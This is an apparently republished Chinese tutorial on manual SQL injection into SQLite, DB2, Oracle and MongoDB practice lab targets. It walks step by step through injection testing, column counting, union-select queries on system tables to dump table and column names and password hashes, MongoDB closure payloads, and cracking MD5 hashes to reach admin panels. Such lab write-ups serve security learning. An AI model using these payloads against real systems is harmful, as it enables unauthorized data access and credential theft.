web安全sql注入SQLite&Mongodb&Oracle&DB2

2021/4/25 19:30:05

本文主要是介绍web安全sql注入SQLite&Mongodb&Oracle&DB2,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

SQLite联合注入

SQLite介绍:SQLite是遵守ACID的关联式数据库管理系统,它包含在一个相对小的C库中,它是D.RichardHipp建立的公有领域项目。

靶场:https://www.mozhe.cn/bug/detail/87
SQLite手工注入方法小结:https://www.cnblogs.com/xiaozi/p/5760321.html

通常sqlite文件中会包含一个sqlite_master隐藏表
这里记录着你建表留下的记录,我们可以查看这个表名来看这些数据

打开靶场,and 1=1,and 1=2 判断注入
在这里插入图片描述
然后再通过order by 判断列数,发现有4列
在这里插入图片描述
4列配合联合查询 union select 1,2,3,4
在这里插入图片描述
然后我们看sqlite_master这个隐藏表,通过union select 1,name,sql,4 from sqlite_master 查询到表名和列名信息
在这里插入图片描述
在这里插入图片描述

直接构造sql语句1 union select 1,name,password,4 from WSTMart_reg limit 1 offset 1 密码md5解密进入后台

在这里插入图片描述
DB2联合注入

DB2数据库介绍:DB2是IBM出品的一系列关系型数据库管理系统,可在不同的操作系统平台上服务。
靶场:https://www.mozhe.cn/bug/detail/83
参考:https://blog.csdn.net/Vi_vids/article/details/115254679

首先我们需要知道这个数据库自带的信息
tabschema:数据库名 current schema:数据库名的列名
table_name:表名 tabname:表名的列名
column_name:列名的列名
sysibm.sysdummy1 记录数据库名的信息
syscat.tables:记录表名的信息
sysibm.columns:记录列名的信息

打开靶场还是 and 1=1,and 1=2判断注入,接着order by 判断列数发现有4列
在这里插入图片描述
接着直接联合查询构造sql语句 -1 union select 1,2,3,4 from syscat.tables
在这里插入图片描述
爆数据库 -1 union select 1,current schema,3,4 from sysibm.sysdummy1
在这里插入图片描述
爆表 -1 union select 1,2,tabname,4 from syscat.tables where tabschema=current schema limit 0,1
在这里插入图片描述
爆列 union select 1,2,column_name,4 from sysibm.columns where table_schema=current schema and table_name=‘GAME_CHARACTER’ limit 0,1
在这里插入图片描述
NAME:-1 union select 1,2,column_name,4 from sysibm.columns where table_schema=current schema and table_name=‘GAME_CHARACTER’ limit 1,1在这里插入图片描述
PASSWORD:-1 union select 1,2,column_name,4 from sysibm.columns where table_schema=current schema and table_name=‘GAME_CHARACTER’ limit 2,1
在这里插入图片描述爆数据 union select 1,name,password,4 from GAME_CHARACTER limit 0,1
在这里插入图片描述
爆数据 union select 1,name,password,4 from GAME_CHARACTER limit 1,1
在这里插入图片描述
拿到密码直接MD5解密进入后台
在这里插入图片描述

Oracle联合注入

Oracle数据库简介:Oracle Database,又名Oracle RDBMS,简称Oracle。是甲骨文公司的一款关系数据库管理系统。

靶场:https://www.mozhe.cn/bug/detail/85
Oracle注入总结:https://www.cnblogs.com/peterpan0707007/p/8242119.html
Oracle注入详解:https://blog.csdn.net/qq_35569814/article/details/100517122

all_tables 查询出所有的表
user_tables 查询出当前用户的表
all_tab_columns 查询出所有的字段
user_tab_columns 查询出当前用户的字段

还是通过and 1=1 ,and 1=2 判断注入,然后通过order by 判断有2列
在这里插入图片描述
然后构造sql语句,首先dual表,此表是Oracle数据库中的一个自带表,union select ‘null’,null… from dual 返回正常,说明第一个字段是字符型,反之为数字型,最后sql语句 union select ‘null’,‘null’ from dual
在这里插入图片描述
所以这两个字段位字符型,爆当前数据库中的第一个表 union select (select table_name from user_tables where rownum=1),‘null’ from dual
在这里插入图片描述

第一个表名为LOGMNR_SESSION_EVOLVE$,爆出第二个表名 
union select (select table_name from user_tables where rownum=1 and table_name not in ('LOGMNR_SESSION_EVOLVE$')),'null' from dual
union select (select table_name from user_tables where rownum=1 and table_name not in ('LOGMNR_SESSION_EVOLVE$',' ')),'null' from dual

后续这样以此类推

第二次方法 like+通配符匹配 union select ‘1’,(select table_name from user_tables where rownum=1 and table_name like ‘%user%’) from dual
在这里插入图片描述
爆表中的第一个字段:union select ‘1’,(select column_name from user_tab_columns where rownum=1 and table_name=‘sns_users’) from dual
在这里插入图片描述
爆表中的第二个字段:union select ‘1’,(select column_name from user_tab_columns where rownum=1 and table_name=‘sns_users’ and column_name not in ‘USER_NAME’) from dual
在这里插入图片描述
也可以用like+通配符 union select ‘1’,(select column_name from user_tab_columns where rownum=1 and table_name=‘sns_users’ and column_name like ‘%U%’) from dual
在这里插入图片描述
获取指定表名列名数据 union select user_name,user_pwd from “sns_users”
在这里插入图片描述
然后再查询user_name<>‘hu’ sql语句 union select user_name,user_pwd from “sns_users” where user_name<>‘hu’ 或者直接指定用户名 union select user_name,user_pwd from “sns_users” where user_name=‘mozhe’

密码md5解密进入后台

在这里插入图片描述
MongoDB闭合注入

MongoDB数据库简介:MongoDB是一个基于分布式文件存储的数据库,由C++语言编写,旨在为Web应用提供可扩展的高性能数据存储解决方案。

参考:https://www.runoob.com/mongodb/mongodb-insert.html

MongoDB注入跟其他数据库注入不一样,源代码如下
在这里插入图片描述

$query="var data = db.notice.findOne({'id':'$id'}); return data;"

如果传入参数 order by 4

$query="var data = db.notice.findOne({'id':'order by 4'}); return data;"

仔细看内个order by 在单引号里面,在mysql里面

 select * from news where id =1 

注入的时候

select * from news where id =1 order by 4 

假如语句变换成

 select * from news where id ='1' 

那么注入的时候

select * from news where id =’1 order by 4‘ 

这时候注入代码 order by 4 => 字符串查询条件,作用就丧失了

所以在注入的时候要进行闭合构造sql语句如下

'}); return ({title:1,content:'2

原有语句拼接后

$query="var data = db.notice.findOne({'id':'$id'}); return data;"
$query="var data = db.notice.findOne({'id':'1'}); return data;"
$query="var data = db.notice.findOne({'id':'1'}); return ({title:1,content:'2'}); return data;"

那么’title‘、’content‘ 是根据代码上输出变量$obj ,变量$obj是执行完sql语句 $obj=$db->execute($query)返回的结果,’title‘、’content‘ 为列名

最终获取回显数字结果 new_list.php?id=1’}); return ({title:1,content:'2
在这里插入图片描述
爆库,db返回的是数组,库名,需要用tojson转换为字符串,原因如下
https://www.anquanke.com/post/id/83763
在这里插入图片描述
最终sql语句 '}); return ({title:tojson(db),content:'2
在这里插入图片描述
数据库:mozhe_cms_Authority 接着获取表名,db.getCollectionNames()//获取表名,构造sql语句 '}); return ({title:tojson(db.getCollectionNames()),content:'2
在这里插入图片描述
爆列、数据,db.Authority_confidential是当前用的集合(表),find函数用于查询,0是第一条数据,sql语句 '}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1

参考mongodb常用的sql语句总结:https://www.cnblogs.com/zjdxr-up/p/10698505.html
在这里插入图片描述
在这里插入图片描述
通过[0-1]控制数据 '}); return ({title:tojson(db.Authority_confidential.find()[1]),content:'1

在这里插入图片描述
得到密码md5解密进入后台
在这里插入图片描述
在这里插入图片描述



这篇关于web安全sql注入SQLite&Mongodb&Oracle&DB2的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程